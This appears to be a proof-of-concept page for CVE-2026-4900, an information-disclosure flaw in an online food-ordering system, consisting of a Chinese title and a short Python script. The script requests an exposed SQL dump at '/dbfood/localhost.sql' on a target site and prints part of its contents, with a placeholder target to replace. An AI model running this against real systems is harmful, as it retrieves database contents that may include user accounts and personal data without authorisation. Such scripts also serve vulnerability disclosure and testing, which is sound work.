CVE-2026-4900 在线订餐系统敏感信息泄露

import requests def check_vulnerability(target_url): # Path to the sensitive SQL file vuln_path = "/dbfood/localhost.sql" full_url = target_url + vuln_path try: response = requests.get(full_url, timeout=5) # Check if the file is accessible if response.status_code == 200 and "CREATE TABLE" in response.text: print(f"[+] Vulnerability Found! SQL file leaked at: {full_url}") print(f"[+] Content preview: {response.text[:200]}...") else: print(f"[-] Vulnerability not found or file not accessible.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)